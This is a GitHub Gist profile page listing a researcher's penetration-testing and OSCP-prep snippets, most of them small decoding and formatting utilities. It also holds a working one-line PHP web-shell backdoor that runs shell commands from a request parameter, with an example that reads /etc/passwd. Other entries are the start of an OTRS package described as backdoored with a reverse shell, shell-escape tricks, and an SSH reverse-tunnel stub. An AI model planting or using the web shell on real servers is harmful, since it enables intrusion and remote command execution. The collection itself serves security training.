Skip to content

Instantly share code, notes, and snippets.

View kkirsche's full-sized avatar

Kevin Kirsche kkirsche

245 followers · 44 following
View GitHub Profile
@kkirsche
kkirsche / textwrapper
Created February 23, 2018 00:21
Little tool to split apart stuff coming from stdin so that we can put it into our code quickly
#!/usr/bin/env python
from textwrap import wrap
from sys import stdin
output = []
if __name__ == '__main__':
for line in stdin:
split_line = wrap(line, 76)
output.extend(split_line)
@kkirsche
kkirsche / hex_to_pyhex.py
Last active February 9, 2018 22:09
Normal hexidecimal to python formatted hex
#!/usr/bin/env python
#❯❯❯ python to_py_hex.py
#\x73\x72\x2e\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x0a
to_py_hex = '73722e3273756e2e7265666c0a'
sets = []
for c in range(0, len(to_py_hex)):
@kkirsche
kkirsche / how-to-oscp-final.md
Created December 18, 2017 16:16 — forked from meldridge/how-to-oscp-final.md

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Escalate
  5. Document it

Time yourself

@kkirsche
kkirsche / decode-lnk.vbs
Created December 1, 2017 15:16
Decode a Windows LNK target path
set WshShell = WScript.CreateObject("WScript.Shell")
set Lnk = WshShell.CreateShortcut(WScript.Arguments.Unnamed(0))
wscript.Echo Lnk.TargetPath
@kkirsche
kkirsche / Simple-Backdoor-One-Liner.php
Created November 22, 2017 03:26 — forked from sente/Simple-Backdoor-One-Liner.php
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@kkirsche
kkirsche / MyPackage.opm
Created November 15, 2017 13:11 — forked from mgeeky/MyPackage.opm
OTRS OPM backdoored Package with Reverse Shell
<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
<Name>MyModule</Name>
<Version>1.0.0</Version>
<Vendor>My Module</Vendor>
<URL>http://otrs.org/</URL>
<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
<Description Lang="en">MyModule</Description>
<Framework>5.x.x</Framework>
@kkirsche
kkirsche / tricks
Created November 10, 2017 14:58 — forked from sckalath/tricks
tricks
#get a pty through python
python -c 'import pty; pty.spawn("/bin/bash");'
#grab the user agent from the http header on port 10443
tcpdump -A -l -vvvs 1024 -npi eth0 port 10443
#base64 decode a string
echo STRINGTODECODE | base64 --decode
#escape jail shell
@kkirsche
kkirsche / bad_char_find.py
Last active March 19, 2019 13:12
bad_char_find.py
# We want to make this re-usable if we need it in the future, so let's remove
# the characters only when found, but always keep the full list around
bad_char_list = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
@kkirsche
kkirsche / base64-to-hex.py
Created October 25, 2017 14:22
Decode base64 and convert to hex format, like shellcode
#!/usr/bin/env python
from base64 import b64decode
from urllib import unquote
base64_strs = ['xU5LNJhXeo9B6o4Ri%2FxFHodARXWqgtNufNrYzqG05nGOLNboDgJtkw%3D%3D',
'%2BjAd73J7RAZgLxAUkIG5l0cMPLQEBAtZRMP3WdXr1%2BMYdrg2cZKaow%3D%3D']
for bstr in base64_strs:
unquoted_bstr = unquote(bstr)
@kkirsche
kkirsche / go-ssh-reverse-tunnel.go
Created October 25, 2017 13:12 — forked from codref/go-ssh-reverse-tunnel.go
Go SSH reverse tunnel implementation (SSH -R)
/*
Go-Language implementation of an SSH Reverse Tunnel, the equivalent of below SSH command:
ssh -R 8080:127.0.0.1:8080 operatore@146.148.22.123
which opens a tunnel between the two endpoints and permit to exchange information on this direction:
server:8080 -----> client:8080